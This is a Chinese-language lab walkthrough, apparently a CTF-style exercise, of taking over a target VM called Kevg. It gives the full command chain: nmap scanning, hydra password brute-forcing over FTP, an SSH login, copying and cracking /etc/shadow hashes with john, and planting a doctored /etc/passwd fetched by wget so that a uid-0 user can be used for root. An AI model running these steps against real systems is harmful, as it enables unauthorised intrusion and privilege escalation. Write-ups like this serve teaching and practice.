一、信息搜集
首先利用ifconfig 指令得到kali 本机的ip 地址:192.168.179.129。
显然这是一个C 类地址,使用nmap 搜索该网络(192.168.179.0/24)下的所有主机。指令为:nmap -sn 192.168.179.0/24。
发现了Kevg 靶机的ip 地址为192.168.179.130。
使用nmap -sV 工具探测Kevg 主机的端口服务。
二、外网突破
原本想直接用hydra 尝试爆破root 的密码,但我使用的密码本无法匹配正确的密码,于是用hydra 尝试通过ftp 端口25来爆破admin 用户的密码,发现正好爆破出密码也为admin(这里使用ssh 的1322端口也可以)。
指令为hydra -l admin -P /home/kali/Desktop/passwords.txt 192.168.179.130 ftp -s 25 (password.txt 是我找到的一个比较符合大而精原则的密码本)。
使用ssh 远程连接Kevg 靶机,端口为1322,指令为ssh -p 1322 admin@192.168.179.130。输入admin 密码:admin。
成功远程登录靶机的admin 用户。
三、权限提升
权限提升过程中,我一开始想直接修改admin 为root 用户,即在kali 主机上修改passwd 中admin 的uid 和gid 为0,再上传到靶机上覆盖靶机的passwd 文件。但覆盖后发现由于自己当前就是admin 用户,uid 为1002,但此时文件中自己的uid 已经被改成了0,系统无法识别我当前的用户,无法再进行进一步操作。因此必须要再找到另一个用户名,将其修改为root 权限并进行覆盖。
首先,在登录admin 用户之后,查询etc 文件夹下的shadow 文件,该文件存储 Linux 系统中用户的密码信息。
但该文件只有root 权限才能访问,因此我们可以将其复制出来再访问复制文件,输入cp /etc/shadow shadow1,将文件复制在目前的文件夹下,命名为shadow1:
访问shadow1文件:
发现三串Hash 密码:
admin:$6$mf3G6MUz$/si.Yp0SgJH/D4WQRC2lyRAaFKUqeHzC3ZbL7ENrCR2lCNibr0d8V0y03JFEnymP8MZzBi3m6mvaeeUmyySve/:16834:0:99999:7:::
root:$6$6ZcgUVCV$Ocsce9FUHYswcbI3UtrPNqFnkvcPOnEtstWlVSTqGYEYAYZ9aYw7tnW35uRGxb1z7ZZBZ.hoQcm/S/cg0f4uI0:16843:0:99999:7:::
其中admin 的密码破解出来就是admin ,我们的目的是获取除了admin 之外另一个用户的密码,并将该用户修改为root 用户。我首先直接尝试hashcat 以及john 工具暴力破解root 的密码,发现都破解不出来,所以我选择破解user 的密码。我将user 的密码信息存储在桌面上,命名为user,输入指令为:john user,破解得到:
即user 用户的密码为resu。那么下一步就是将user 修改为root 权限。
先查看本机passwd,发现本机上没有admin 用户和user 用户,因此,我们需要添加这两个用户(添加用户需要kali 的root 权限)。添加用户使用useradd 指令。
添加后,将passwd 复制到桌面上方便下一步调用。查看添加用户后的passwd ,我们只需要将 admin 的 uid 和 gid 改成 Kevg 主机上对应的值,再将user 用户的uid 和gid 都改成0,也就是root 用户。
查看一下靶机admin 用户id:
修改kali 本机的passwd:
在kali 主机上建立http 连接,端口为8000,通过该连接可以实现主机和靶机之间的文件传输。
在靶机上利用wget 指令获取主机上的passwd 文件,指令为:wget http://192.168.179.129:8000/passwd。
将获取到的passwd 文件覆盖掉靶机中原passwd 文件,并用cat 指令查看,确认已经成功覆盖:
接下来就可以获取root 权限了,输入su user,密码为 resu:
输入whoami 确认自己身份:
完成提权,获得Kevg 靶机root 权限。